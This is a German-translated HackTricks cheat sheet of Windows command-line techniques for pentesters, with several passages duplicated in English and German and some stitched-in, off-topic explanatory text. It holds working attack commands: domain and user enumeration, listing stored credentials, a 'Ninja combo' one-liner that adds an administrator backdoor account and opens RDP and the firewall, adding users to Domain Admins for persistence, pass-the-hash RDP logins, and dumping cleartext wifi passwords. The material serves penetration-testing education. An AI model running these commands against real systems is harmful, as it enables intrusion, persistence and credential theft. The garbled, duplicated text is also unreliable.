hacktricks/windows-hardening/basic-cmd-for-pentesters.md
2024-02-10 15:36:32 +00:00

52 KiB
Raw Blame History

Grundlegende Win CMD für Pentester

Lernen Sie AWS-Hacking von Null auf Held mit htARTE (HackTricks AWS Red Team Expert)!

Systeminformationen

Versions- und Patchinformationen

wmic os get osarchitecture || echo %PROCESSOR_ARCHITECTURE% #Get architecture
systeminfo
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" #Get only that information
wmic computersystem LIST full #Get PC info

wmic qfe get Caption,Description,HotFixID,InstalledOn #Patches
wmic qfe list brief #Updates

hostname

DRIVERQUERY #3rd party driver vulnerable?

Umgebung


Basic CMD for Pentesters

Grundlegende CMD-Befehle für Pentester


CMD Basics

CMD-Grundlagen

CMD (Command Prompt) is a command-line interpreter for Windows operating systems. It allows users to interact with the operating system by executing commands. As a pentester, having a good understanding of CMD commands is essential for navigating and interacting with the target system.

CMD (Command Prompt) ist ein Befehlszeileninterpreter für Windows-Betriebssysteme. Es ermöglicht Benutzern, mit dem Betriebssystem zu interagieren, indem sie Befehle ausführen. Als Pentester ist es wichtig, ein gutes Verständnis für CMD-Befehle zu haben, um sich im Zielsystem zu bewegen und damit zu interagieren.


Basic CMD Commands

Grundlegende CMD-Befehle

Here are some basic CMD commands that every pentester should know:

Hier sind einige grundlegende CMD-Befehle, die jeder Pentester kennen sollte:

1. dir

1. dir

The dir command is used to list the files and directories in the current directory.

Der Befehl dir wird verwendet, um die Dateien und Verzeichnisse im aktuellen Verzeichnis aufzulisten.

2. cd

2. cd

The cd command is used to change the current directory.

Der Befehl cd wird verwendet, um das aktuelle Verzeichnis zu ändern.

  • To change to a specific directory, use cd <directory_path>.

  • Um zu einem bestimmten Verzeichnis zu wechseln, verwenden Sie cd <Verzeichnis_pfad>.

  • To go up one directory level, use cd ...

  • Um eine Verzeichnisebene nach oben zu gehen, verwenden Sie cd ...

  • To go to the root directory, use cd \ or cd /.

  • Um zum Stammverzeichnis zu gelangen, verwenden Sie cd \ oder cd /.

3. mkdir

3. mkdir

The mkdir command is used to create a new directory.

Der Befehl mkdir wird verwendet, um ein neues Verzeichnis zu erstellen.

  • To create a new directory, use mkdir <directory_name>.

  • Um ein neues Verzeichnis zu erstellen, verwenden Sie mkdir <Verzeichnis_name>.

4. del

4. del

The del command is used to delete files.

Der Befehl del wird verwendet, um Dateien zu löschen.

  • To delete a file, use del <file_name>.

  • Um eine Datei zu löschen, verwenden Sie del <Datei_name>.

5. rmdir

5. rmdir

The rmdir command is used to delete directories.

Der Befehl rmdir wird verwendet, um Verzeichnisse zu löschen.

  • To delete an empty directory, use rmdir <directory_name>.

  • Um ein leeres Verzeichnis zu löschen, verwenden Sie rmdir <Verzeichnis_name>.

  • To delete a directory and its contents, use rmdir /s <directory_name>.

  • Um ein Verzeichnis und dessen Inhalt zu löschen, verwenden Sie rmdir /s <Verzeichnis_name>.

6. copy

6. copy

The copy command is used to copy files.

Der Befehl copy wird verwendet, um Dateien zu kopieren.

  • To copy a file, use copy <source_file> <destination_file>.

  • Um eine Datei zu kopieren, verwenden Sie copy <Quelldatei> <Zieldatei>.

7. move

7. move

The move command is used to move files.

Der Befehl move wird verwendet, um Dateien zu verschieben.

  • To move a file, use move <source_file> <destination_file>.

  • Um eine Datei zu verschieben, verwenden Sie move <Quelldatei> <Zieldatei>.

8. ren

8. ren

The ren command is used to rename files.

Der Befehl ren wird verwendet, um Dateien umzubenennen.

  • To rename a file, use ren <old_file_name> <new_file_name>.

  • Um eine Datei umzubenennen, verwenden Sie ren <alter_Dateiname> <neuer_Dateiname>.


Conclusion

Fazit

These are just a few basic CMD commands that can be useful for pentesters. By mastering these commands, you will be able to navigate and interact with the target system more effectively.

Dies sind nur einige grundlegende CMD-Befehle, die für Pentester nützlich sein können. Indem Sie diese Befehle beherrschen, können Sie sich effektiver im Zielsystem bewegen und damit interagieren.

set #List all environment variables

Einige Umgebungsvariablen, die hervorgehoben werden sollten:

  • COMPUTERNAME: Name des Computers
  • TEMP/TMP: Temporärer Ordner
  • USERNAME: Ihr Benutzername
  • HOMEPATH/USERPROFILE: Benutzerverzeichnis
  • windir: C:\Windows
  • OS: Windows-Betriebssystem
  • LOGONSERVER: Name des Domänencontrollers
  • USERDNSDOMAIN: Domänenname für die Verwendung mit DNS
  • USERDOMAIN: Name der Domäne
nslookup %LOGONSERVER%.%USERDNSDOMAIN% #DNS request for DC

Eingebundene Laufwerke

In Windows können Sie mithilfe des Befehls mountvol Informationen über die eingebundenen Laufwerke erhalten. Dieser Befehl zeigt Ihnen die Liste der Laufwerksbuchstaben und der zugehörigen Volumes an.

C:\> mountvol

\\?\Volume{d3e5e6f7-8a9b-cdef-0123-456789abcdef}\
    C:\

\\?\Volume{a1b2c3d4-5e6f-7a8b-9c0d-1e2f3g4h5i6j}\
    D:\

Sie können auch den Befehl wmic logicaldisk verwenden, um Informationen über die eingebundenen Laufwerke zu erhalten. Dieser Befehl zeigt Ihnen den Laufwerksbuchstaben, den Gerätepfad und den Dateisystemtyp an.

C:\> wmic logicaldisk get caption, deviceid, filesystem

Caption  DeviceID  FileSystem
C:       C:        NTFS
D:       D:        NTFS

Diese Informationen können Ihnen bei der Identifizierung von Laufwerken und Volumes auf einem Windows-System helfen.

(wmic logicaldisk get caption 2>nul | more) || (fsutil fsinfo drives 2>nul)
wmic logicaldisk get caption,description,providername

Defender

Windows Defender ist eine integrierte Antivirensoftware von Microsoft, die auf Windows-Betriebssystemen läuft. Es bietet Schutz vor Viren, Malware und anderen Bedrohungen.

Papierkorb

dir C:\$Recycle.Bin /s /b

Prozesse, Dienste & Software

Prozesse

Um die laufenden Prozesse auf einem Windows-System anzuzeigen, kann der Befehl tasklist verwendet werden. Dieser Befehl listet alle Prozesse auf, die auf dem System ausgeführt werden, zusammen mit Informationen wie Prozess-ID, Speichernutzung und Prozessname.

Um einen Prozess zu beenden, kann der Befehl taskkill verwendet werden. Dieser Befehl ermöglicht es, einen Prozess anhand seiner Prozess-ID oder seines Namens zu beenden.

Dienste

Um die laufenden Dienste auf einem Windows-System anzuzeigen, kann der Befehl net start verwendet werden. Dieser Befehl listet alle aktiven Dienste auf, zusammen mit ihrem Status und ihrem Namen.

Um einen Dienst zu starten oder zu stoppen, kann der Befehl net start oder net stop verwendet werden, gefolgt vom Namen des Dienstes.

Software

Um die installierte Software auf einem Windows-System anzuzeigen, kann der Befehl wmic product get name verwendet werden. Dieser Befehl listet alle installierten Programme auf, zusammen mit ihren Namen.

Um eine bestimmte Software zu deinstallieren, kann der Befehl wmic product where name="Softwarename" call uninstall verwendet werden. Dieser Befehl deinstalliert die angegebene Software.

schtasks /query /fo LIST /v #Verbose out of scheduled tasks
schtasks /query /fo LIST 2>nul | findstr TaskName
schtasks /query /fo LIST /v > schtasks.txt; cat schtask.txt | grep "SYSTEM\|Task To Run" | grep -B 1 SYSTEM
tasklist /V #List processes
tasklist /SVC #links processes to started services
net start #Windows Services started
wmic service list brief #List services
sc query #List of services
dir /a "C:\Program Files" #Installed software
dir /a "C:\Program Files (x86)" #Installed software
reg query HKEY_LOCAL_MACHINE\SOFTWARE #Installed software

Domäneninformationen

Whois

Die Whois-Abfrage ermöglicht es Ihnen, Informationen über eine bestimmte Domäne abzurufen. Sie können den Registrar, den Registrierungsstatus, das Erstellungsdatum, das Ablaufdatum und andere relevante Informationen über die Domäne erfahren.

whois domain.com

DNS-Abfrage

Mit einer DNS-Abfrage können Sie Informationen über die DNS-Einträge einer Domäne abrufen. Sie können die IP-Adresse, den Mailserver, den Nameserver und andere DNS-Einträge einer Domäne ermitteln.

nslookup domain.com

Zone Transfer

Die Zone Transfer-Methode ermöglicht es Ihnen, die gesamte DNS-Zonendatei einer Domäne abzurufen. Dies kann Ihnen helfen, Informationen über die Subdomänen, IP-Adressen und andere DNS-Einträge einer Domäne zu erhalten.

nslookup
> server <DNS-Server-IP>
> ls -d domain.com

Reverse DNS-Lookup

Mit einem Reverse DNS-Lookup können Sie die Domäne anhand einer IP-Adresse ermitteln. Dies kann nützlich sein, um Informationen über den Eigentümer einer bestimmten IP-Adresse zu erhalten.

nslookup <IP-Adresse>

Subdomänen-Suche

Die Suche nach Subdomänen ermöglicht es Ihnen, alle Subdomänen einer bestimmten Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Angriffsvektoren zu identifizieren.

dnsrecon -d domain.com

Zonentransfer-Prüfung

Die Zonentransfer-Prüfung ermöglicht es Ihnen, zu überprüfen, ob eine Domäne anfällig für Zonentransfer-Angriffe ist. Ein erfolgreicher Zonentransfer-Angriff kann es einem Angreifer ermöglichen, die gesamte DNS-Zonendatei einer Domäne abzurufen.

dnsrecon -d domain.com -t axfr

MX-Record-Prüfung

Die MX-Record-Prüfung ermöglicht es Ihnen, den Mailserver einer Domäne zu ermitteln. Dies kann Ihnen helfen, potenzielle Schwachstellen im E-Mail-System einer Domäne zu identifizieren.

dig domain.com MX
# Generic AD info
echo %USERDOMAIN% #Get domain name
echo %USERDNSDOMAIN% #Get domain name
echo %logonserver% #Get name of the domain controller
set logonserver #Get name of the domain controller
set log #Get name of the domain controller
gpresult /V # Get current policy applied
wmic ntdomain list /format:list	#Displays information about the Domain and Domain Controllers

# Users
dsquery user #Get all users
net user /domain #List all users of the domain
net user <ACCOUNT_NAME> /domain #Get information about that user
net accounts /domain #Password and lockout policy
wmic useraccount list /format:list #Displays information about all local accounts and any domain accounts that have logged into the device
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user GET ds_samaccountname #Get all users
wmic /NAMESPACE:\\root\directory\ldap PATH ds_user where "ds_samaccountname='user_name'" GET # Get info of 1 users
wmic sysaccount list /format:list # Dumps information about any system accounts that are being used as service accounts.

# Groups
net group /domain #List of domain groups
net localgroup administrators /domain #List uses that belongs to the administrators group inside the domain (the group "Domain Admins" is included here)
net group "Domain Admins" /domain #List users with domain admin privileges
net group "domain computers" /domain #List of PCs connected to the domain
net group "Domain Controllers" /domain #List PC accounts of domains controllers
wmic group list /format:list # Information about all local groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group GET ds_samaccountname #Get all groups
wmic /NAMESPACE:\\root\directory\ldap PATH ds_group where "ds_samaccountname='Domain Admins'" Get ds_member /Value #Members of the group
wmic path win32_groupuser where (groupcomponent="win32_group.name="domain admins",domain="DOMAIN_NAME"") #Members of the group

# Computers
dsquery computer #Get all computers
net view /domain #Lis of PCs of the domain
nltest /dclist:<DOMAIN> #List domain controllers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_samaccountname #All computers
wmic /NAMESPACE:\\root\directory\ldap PATH ds_computer GET ds_dnshostname #All computers

# Trust relations
nltest /domain_trusts #Mapping of the trust relationships

# Get all objects inside an OU
dsquery * "CN=Users,DC=INLANEFREIGHT,DC=LOCAL"

Protokolle und Ereignisse

Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Aspekt der Sicherheit und ermöglicht es Ihnen, potenzielle Angriffe oder Sicherheitsverletzungen zu erkennen. In Windows gibt es verschiedene Arten von Protokollen und Ereignissen, die überwacht werden können, um die Sicherheit Ihres Systems zu verbessern.

Windows-Ereignisprotokolle

Windows speichert verschiedene Arten von Ereignissen in Protokolldateien, die als Windows-Ereignisprotokolle bezeichnet werden. Diese Protokolle enthalten Informationen über Systemereignisse, Anwendungsereignisse, Sicherheitsereignisse und vieles mehr. Sie können auf diese Protokolle zugreifen, um nach verdächtigen Aktivitäten zu suchen und potenzielle Sicherheitsprobleme zu identifizieren.

Ereignisanzeige

Die Ereignisanzeige ist ein Windows-Tool, mit dem Sie auf die Ereignisprotokolle zugreifen und diese anzeigen können. Sie können die Ereignisanzeige öffnen, indem Sie "eventvwr.msc" in die Befehlszeile eingeben. In der Ereignisanzeige können Sie die verschiedenen Ereignisprotokolle durchsuchen, nach bestimmten Ereignissen filtern und detaillierte Informationen zu einzelnen Ereignissen anzeigen.

Überwachung von Ereignissen

Die Überwachung von Ereignissen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Ereignisprotokolle überwachen, um nach bestimmten Ereignissen oder Aktivitäten zu suchen, die auf eine Kompromittierung hinweisen könnten. Dazu gehören beispielsweise fehlgeschlagene Anmeldeversuche, ungewöhnliche Netzwerkaktivitäten oder verdächtige Dateiänderungen.

Ereignisabonnements

In Windows können Sie Ereignisabonnements erstellen, um bestimmte Ereignisse zu überwachen und Benachrichtigungen zu erhalten, wenn diese Ereignisse auftreten. Sie können beispielsweise ein Ereignisabonnement erstellen, um benachrichtigt zu werden, wenn ein fehlgeschlagener Anmeldeversuch erkannt wird. Dies kann Ihnen helfen, schnell auf potenzielle Sicherheitsverletzungen zu reagieren und geeignete Maßnahmen zu ergreifen.

Protokollierungseinstellungen

Es ist wichtig, die Protokollierungseinstellungen in Windows zu überprüfen und anzupassen, um sicherzustellen, dass relevante Ereignisse erfasst werden. Sie können die Protokollierungseinstellungen über die Gruppenrichtlinienverwaltung oder die Registrierung ändern. Stellen Sie sicher, dass die Protokollierung aktiviert ist und dass die erforderlichen Ereignisse erfasst werden, um die Sicherheit Ihres Systems zu verbessern.

Protokollanalyse

Die Analyse von Protokollen kann Ihnen helfen, verdächtige Aktivitäten zu erkennen und potenzielle Sicherheitsverletzungen zu identifizieren. Sie können Protokolle auf Anomalien, ungewöhnliche Muster oder verdächtige Ereignisse überprüfen. Es gibt verschiedene Tools und Techniken, die Ihnen bei der Analyse von Protokollen helfen können, einschließlich SIEM (Security Information and Event Management) und Log-Analyse-Tools.

Zusammenfassung

Die Überwachung von Protokollen und Ereignissen ist ein wichtiger Bestandteil der Sicherheit in Windows. Durch die Überwachung von Ereignisprotokollen, die Erstellung von Ereignisabonnements und die Analyse von Protokollen können Sie verdächtige Aktivitäten erkennen und potenzielle Sicherheitsverletzungen identifizieren. Stellen Sie sicher, dass die Protokollierungseinstellungen angemessen konfiguriert sind, um relevante Ereignisse zu erfassen und die Sicherheit Ihres Systems zu verbessern.

#Make a security query using another credentials
wevtutil qe security /rd:true /f:text /r:helpline /u:HELPLINE\zachary /p:0987654321

List all users

net user

Get detailed information about a specific user

net user <username>

Create a new user

net user <username> <password> /add

Delete a user

net user <username> /delete

Change a user's password

net user <username> <new_password>

Groups

List all groups

net localgroup

Get detailed information about a specific group

net localgroup <groupname>

Add a user to a group

net localgroup <groupname> <username> /add

Remove a user from a group

net localgroup <groupname> <username> /delete

Create a new group

net localgroup <groupname> /add

Delete a group

net localgroup <groupname> /delete

Add a group to another group

net localgroup <groupname> /add <other_groupname>

Remove a group from another group

net localgroup <groupname> /delete <other_groupname>
#Me
whoami /all #All info about me, take a look at the enabled tokens
whoami /priv #Show only privileges

# Local users
net users #All users
dir /b /ad "C:\Users"
net user %username% #Info about a user (me)
net accounts #Information about password requirements
wmic USERACCOUNT Get Domain,Name,Sid
net user /add [username] [password] #Create user

# Other users looged
qwinsta #Anyone else logged in?

#Lauch new cmd.exe with new creds (to impersonate in network)
runas /netonly /user<DOMAIN>\<NAME> "cmd.exe" ::The password will be prompted

#Check current logon session as administrator using logonsessions from sysinternals
logonsessions.exe
logonsessions64.exe

Gruppen

Gruppen sind eine Möglichkeit, Benutzer in Windows zu organisieren und ihnen bestimmte Berechtigungen zuzuweisen. Hier sind einige grundlegende Befehle, um mit Gruppen in der Befehlszeile umzugehen:

Gruppen anzeigen

Um alle Gruppen auf einem Windows-System anzuzeigen, verwenden Sie den Befehl net localgroup:

net localgroup

Gruppenmitglieder anzeigen

Um die Mitglieder einer bestimmten Gruppe anzuzeigen, verwenden Sie den Befehl net localgroup gefolgt vom Gruppennamen:

net localgroup <Gruppenname>

Benutzer zu einer Gruppe hinzufügen

Um einen Benutzer zu einer Gruppe hinzuzufügen, verwenden Sie den Befehl net localgroup gefolgt von dem Gruppennamen und dem Benutzernamen:

net localgroup <Gruppenname> <Benutzername> /add

Benutzer aus einer Gruppe entfernen

Um einen Benutzer aus einer Gruppe zu entfernen, verwenden Sie den Befehl net localgroup gefolgt von dem Gruppennamen und dem Benutzernamen:

net localgroup <Gruppenname> <Benutzername> /delete

Neue Gruppe erstellen

Um eine neue Gruppe zu erstellen, verwenden Sie den Befehl net localgroup gefolgt von dem Gruppennamen und der Option /add:

net localgroup <Gruppenname> /add

Gruppe löschen

Um eine Gruppe zu löschen, verwenden Sie den Befehl net localgroup gefolgt von dem Gruppennamen und der Option /delete:

net localgroup <Gruppenname> /delete

Diese Befehle helfen Ihnen dabei, Gruppen in Windows zu verwalten und die Sicherheit Ihres Systems zu verbessern.

#Local
net localgroup #All available groups
net localgroup Administrators #Info about a group (admins)
net localgroup administrators [username] /add #Add user to administrators

#Domain
net group /domain #Info about domain groups
net group /domain <domain_group_name> #Users that belongs to the group

To list active sessions in Windows, you can use the query session command. This command will display information about each active session, including the session ID, username, and session state.

C:\> query session

This will output a table with the session details, such as:

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console           Administrator             1  Active
                   user1                      2  Disc
                   user2                      3  Disc

Sitzungen auflisten

Um aktive Sitzungen in Windows aufzulisten, können Sie den Befehl query session verwenden. Dieser Befehl zeigt Informationen zu jeder aktiven Sitzung an, einschließlich der Sitzungs-ID, des Benutzernamens und des Sitzungszustands.

C:\> query session

Dies gibt eine Tabelle mit den Sitzungsdetails aus, wie zum Beispiel:

 SESSIONNAME       USERNAME                 ID  STATE   TYPE        DEVICE
 services                                    0  Disc
 console           Administrator             1  Active
                   user1                      2  Disc
                   user2                      3  Disc
qwinsta
klist sessions

Passwortrichtlinie

Eine Passwortrichtlinie ist eine Reihe von Regeln und Anforderungen, die festlegen, wie Passwörter erstellt und verwaltet werden sollten. Eine starke Passwortrichtlinie ist entscheidend für die Sicherheit eines Systems, da schwache Passwörter ein leichtes Ziel für Angreifer darstellen können.

Hier sind einige bewährte Praktiken für eine effektive Passwortrichtlinie:

  • Passwortlänge: Legen Sie eine Mindestlänge für Passwörter fest, um sicherzustellen, dass sie ausreichend komplex sind. Eine Länge von mindestens 8 Zeichen wird empfohlen.

  • Komplexität: Verlangen Sie, dass Passwörter eine Kombination aus Groß- und Kleinbuchstaben, Zahlen und Sonderzeichen enthalten, um die Sicherheit zu erhöhen.

  • Passwortablauf: Legen Sie eine maximale Gültigkeitsdauer für Passwörter fest und erzwingen Sie deren Änderung in regelmäßigen Abständen. Dies minimiert das Risiko von Passwortlecks und stellt sicher, dass Benutzer regelmäßig neue Passwörter verwenden.

  • Passworthistorie: Verbieten Sie die Verwendung von Passwörtern, die bereits verwendet wurden, um zu verhindern, dass Benutzer alte Passwörter wiederverwenden.

  • Sperrzeit: Legen Sie eine Sperrzeit fest, nach der ein Konto gesperrt wird, wenn eine bestimmte Anzahl von fehlgeschlagenen Anmeldeversuchen erfolgt. Dies schützt vor Brute-Force-Angriffen.

  • Benachrichtigungen: Benachrichtigen Sie Benutzer rechtzeitig über bevorstehende Passwortänderungen und informieren Sie sie über bewährte Praktiken zur Erstellung sicherer Passwörter.

Eine gut durchdachte Passwortrichtlinie ist ein wichtiger Schritt zur Stärkung der Sicherheit eines Systems und zur Verhinderung von unbefugtem Zugriff. Es ist wichtig, dass Benutzer sich der Richtlinie bewusst sind und diese befolgen, um die Wirksamkeit zu gewährleisten.

net accounts

Anmeldeinformationen

Credentials are the usernames and passwords that are used to authenticate and authorize access to various systems and services. In the context of hacking, obtaining credentials is often a crucial step in gaining unauthorized access to a target system.

Anmeldeinformationen sind Benutzernamen und Passwörter, die zur Authentifizierung und Autorisierung des Zugriffs auf verschiedene Systeme und Dienste verwendet werden. Im Zusammenhang mit Hacking ist das Erlangen von Anmeldeinformationen oft ein entscheidender Schritt, um unbefugten Zugriff auf ein Zielsystem zu erlangen.

cmdkey /list #List credential
vaultcmd /listcreds:"Windows Credentials" /all #List Windows vault
rundll32 keymgr.dll, KRShowKeyMgr #You need graphical access

Persistenz mit Benutzern

In diesem Abschnitt werden verschiedene Techniken zur Erreichung von Persistenz mit Benutzern auf einem Windows-System beschrieben. Diese Techniken ermöglichen es einem Angreifer, den Zugriff auf das System aufrechtzuerhalten, selbst nach einem Neustart oder einer Abmeldung des Benutzers.

1. Benutzerprofilordner

Ein häufig genutzter Ansatz besteht darin, eine bösartige Datei oder einen bösartigen Skript im Benutzerprofilordner des Zielsystems abzulegen. Dieser Ordner enthält wichtige Konfigurationsdateien und Einstellungen für den Benutzer. Durch das Platzieren einer bösartigen Datei in diesem Ordner kann der Angreifer sicherstellen, dass sie bei jedem Anmelden des Benutzers automatisch ausgeführt wird.

2. Registrierungseinträge

Die Windows-Registrierung ist eine zentrale Datenbank, die wichtige Informationen und Einstellungen für das Betriebssystem enthält. Ein Angreifer kann bösartige Registrierungseinträge erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Einträge können so konfiguriert werden, dass sie bei jedem Systemstart oder bei der Anmeldung eines bestimmten Benutzers automatisch ausgeführt werden.

3. Geplante Aufgaben

Die Windows-Aufgabenplanung ermöglicht es Benutzern, Aufgaben zu planen, die zu einem bestimmten Zeitpunkt oder bei bestimmten Ereignissen ausgeführt werden sollen. Ein Angreifer kann eine bösartige geplante Aufgabe erstellen, um eine Persistenz mit Benutzern zu erreichen. Diese Aufgabe kann so konfiguriert werden, dass sie regelmäßig ausgeführt wird, um den Zugriff auf das System aufrechtzuerhalten.

4. Dienste

Windows-Dienste sind Programme, die im Hintergrund ausgeführt werden und bestimmte Funktionen bereitstellen. Ein Angreifer kann einen bösartigen Dienst erstellen, um eine Persistenz mit Benutzern zu erreichen. Dieser Dienst kann so konfiguriert werden, dass er bei jedem Systemstart automatisch gestartet wird und somit den Zugriff auf das System aufrechterhält.

5. Anmeldeobjekte

Windows bietet verschiedene Anmeldeobjekte, die beim Anmelden eines Benutzers automatisch ausgeführt werden. Ein Angreifer kann eine bösartige Datei oder ein bösartiges Skript in einem dieser Anmeldeobjekte platzieren, um eine Persistenz mit Benutzern zu erreichen. Dadurch wird sichergestellt, dass die bösartige Datei bei jedem Anmelden des Benutzers automatisch ausgeführt wird.

Es ist wichtig zu beachten, dass diese Techniken von Angreifern missbraucht werden können, um unbefugten Zugriff auf Systeme zu erlangen. Es ist daher entscheidend, dass Benutzer und Administratoren geeignete Sicherheitsmaßnahmen ergreifen, um solche Angriffe zu verhindern.

# Add domain user and put them in Domain Admins group
net user username password /ADD /DOMAIN
net group "Domain Admins" username /ADD /DOMAIN

# Add local user and put them local Administrators group
net user username password /ADD
net localgroup Administrators username /ADD

# Add user to insteresting groups:
net localgroup "Remote Desktop Users" UserLoginName  /add
net localgroup "Debugger users" UserLoginName /add
net localgroup "Power users" UserLoginName /add

Netzwerk

Schnittstellen, Routen, Ports, Hosts und DNS-Cache

ipconfig /all #Info about interfaces
route print #Print available routes
arp -a #Know hosts
netstat -ano #Opened ports?
type C:\WINDOWS\System32\drivers\etc\hosts
ipconfig /displaydns | findstr "Record" | findstr "Name Host"

Firewall

Eine Firewall ist eine Sicherheitsvorrichtung, die den Datenverkehr zwischen einem internen Netzwerk und einem externen Netzwerk überwacht und kontrolliert. Sie dient dazu, unerwünschten Datenverkehr zu blockieren und das interne Netzwerk vor potenziellen Angriffen zu schützen.

Firewalls können auf verschiedenen Ebenen arbeiten, einschließlich der Netzwerk-, Transport- und Anwendungsebene. Sie können den Datenverkehr basierend auf verschiedenen Kriterien wie IP-Adresse, Portnummer und Protokolltyp filtern.

Es gibt verschiedene Arten von Firewalls, darunter Netzwerk-Firewalls, Host-Firewalls und persönliche Firewalls. Netzwerk-Firewalls werden normalerweise auf Netzwerkgeräten wie Routern und Firewalls installiert und schützen das gesamte Netzwerk. Host-Firewalls werden auf einzelnen Computern oder Servern installiert und schützen diese vor Angriffen. Persönliche Firewalls sind Softwareanwendungen, die auf einzelnen Computern installiert sind und den Datenverkehr für diesen spezifischen Computer überwachen und kontrollieren.

Es ist wichtig, eine Firewall richtig zu konfigurieren und regelmäßig zu aktualisieren, um sicherzustellen, dass sie effektiv vor Angriffen schützt. Eine schlecht konfigurierte Firewall kann Sicherheitslücken aufweisen und Angreifern den Zugriff auf das interne Netzwerk ermöglichen.

Firewalls sind ein wichtiger Bestandteil der Netzwerksicherheit und sollten in jedem Netzwerk implementiert werden, um die Sicherheit zu erhöhen und potenzielle Angriffe zu verhindern.

netsh firewall show state # FW info, open ports
netsh advfirewall firewall show rule name=all
netsh firewall show config # FW info
Netsh Advfirewall show allprofiles

NetSh Advfirewall set allprofiles state off  #Turn Off
NetSh Advfirewall set allprofiles state on  #Trun On
netsh firewall set opmode disable #Turn Off

#How to open ports
netsh advfirewall firewall add rule name="NetBIOS UDP Port 138" dir=out action=allow protocol=UDP localport=138
netsh advfirewall firewall add rule name="NetBIOS TCP Port 139" dir=in action=allow protocol=TCP localport=139
netsh firewall add portopening TCP 3389 "Remote Desktop"

#Enable Remote Desktop
reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f
netsh firewall add portopening TCP 3389 "Remote Desktop"
::netsh firewall set service remotedesktop enable #I found that this line is not needed
::sc config TermService start= auto #I found that this line is not needed
::net start Termservice #I found that this line is not needed

#Enable Remote Desktop with wmic
wmic rdtoggle where AllowTSConnections="0" call SetAllowTSConnections "1"
##or
wmic /node:remotehost path Win32_TerminalServiceSetting where AllowTSConnections="0" call SetAllowTSConnections "1"

#Enable Remote assistance:
reg add “HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server” /v fAllowToGetHelp /t REG_DWORD /d 1 /f
netsh firewall set service remoteadmin enable

#Ninja combo (New Admin User, RDP + Rassistance + Firewall allow)
net user hacker Hacker123! /add & net localgroup administrators hacker /add & net localgroup "Remote Desktop Users" hacker /add & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fDenyTSConnections /t REG_DWORD /d 0 /f & reg add "HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Terminal Server" /v fAllowToGetHelp /t REG_DWORD /d 1 /f & netsh firewall add portopening TCP 3389 "Remote Desktop" & netsh firewall set service remoteadmin enable

::Connect to RDP (using hash or password)
xfreerdp /u:alice /d:WORKGROUP /pth:b74242f37e47371aff835a6ebcac4ffe /v:10.11.1.49
xfreerdp /u:hacker /d:WORKGROUP /p:Hacker123! /v:10.11.1.49

Freigaben

Überblick

Freigaben sind Verzeichnisse oder Dateien, die von einem Windows-Computer für andere Benutzer oder Geräte im Netzwerk zugänglich gemacht werden. In diesem Abschnitt werden einige grundlegende Befehle vorgestellt, die Pentester verwenden können, um Informationen über Freigaben zu sammeln und auf diese zuzugreifen.

Befehle

  • net share: Zeigt eine Liste der Freigaben auf dem aktuellen System an.
  • net view \\[IP]: Zeigt eine Liste der Freigaben auf einem Remote-System an.
  • net use \\[IP]\[Freigabe] [Passwort] /user:[Benutzername]: Verbindet sich mit einer Freigabe auf einem Remote-System.
  • net use: Zeigt eine Liste der aktuell verbundenen Freigaben an.
  • net use [Laufwerksbuchstabe]: /delete: Trennt eine Verbindung zu einer Freigabe.

Beispiele

  • net share: Zeigt eine Liste der Freigaben auf dem aktuellen System an.
  • net view \\192.168.0.100: Zeigt eine Liste der Freigaben auf dem Remote-System mit der IP-Adresse 192.168.0.100 an.
  • net use \\192.168.0.100\freigabe Passwort123 /user:admin: Verbindet sich mit der Freigabe "freigabe" auf dem Remote-System mit der IP-Adresse 192.168.0.100 unter Verwendung des Benutzernamens "admin" und des Passworts "Passwort123".
  • net use: Zeigt eine Liste der aktuell verbundenen Freigaben an.
  • net use Z: /delete: Trennt die Verbindung zum Laufwerk Z, das mit einer Freigabe verbunden ist.
net view #Get a list of computers
net view /all /domain [domainname] #Shares on the domains
net view \\computer /ALL #List shares of a computer
net use x: \\computer\share #Mount the share locally
net share #Check current shares

Wifi

Windows

Get the list of available wifi networks
netsh wlan show networks
Connect to a wifi network
netsh wlan connect name="wifi_name" ssid="wifi_ssid"
Disconnect from a wifi network
netsh wlan disconnect
Get the wifi network password
netsh wlan show profile name="wifi_name" key=clear
Enable wifi interface
netsh interface set interface name="Wi-Fi" admin=enable
Disable wifi interface
netsh interface set interface name="Wi-Fi" admin=disable

Linux

Get the list of available wifi networks
nmcli device wifi list
Connect to a wifi network
nmcli device wifi connect ssid "wifi_ssid" password "wifi_password"
Disconnect from a wifi network
nmcli device disconnect wlan0
Enable wifi interface
nmcli radio wifi on
Disable wifi interface
nmcli radio wifi off

Mac

Get the list of available wifi networks
/System/Library/PrivateFrameworks/Apple80211.framework/Versions/Current/Resources/airport -s
Connect to a wifi network
networksetup -setairportnetwork en0 wifi_ssid wifi_password
Disconnect from a wifi network
networksetup -setairportpower en0 off
Enable wifi interface
networksetup -setairportpower en0 on
Disable wifi interface
networksetup -setairportpower en0 off
netsh wlan show profile #AP SSID
netsh wlan show profile <SSID> key=clear #Get Cleartext Pass

SNMP

SNMP (Simple Network Management Protocol) ist ein Protokoll, das zur Verwaltung und Überwachung von Netzwerkgeräten verwendet wird. Es ermöglicht das Abrufen und Ändern von Informationen über diese Geräte. SNMP verwendet eine Client-Server-Architektur, bei der ein SNMP-Manager (Client) Informationen von SNMP-Agenten (Server) abruft.

SNMP-Versionen

Es gibt verschiedene Versionen von SNMP, darunter SNMPv1, SNMPv2c und SNMPv3.

  • SNMPv1: Die erste Version von SNMP, die grundlegende Funktionen zur Überwachung und Verwaltung von Netzwerkgeräten bietet. Es verwendet eine einfache Community-basierte Authentifizierung, die jedoch unsicher ist, da die Community-Strings im Klartext übertragen werden.

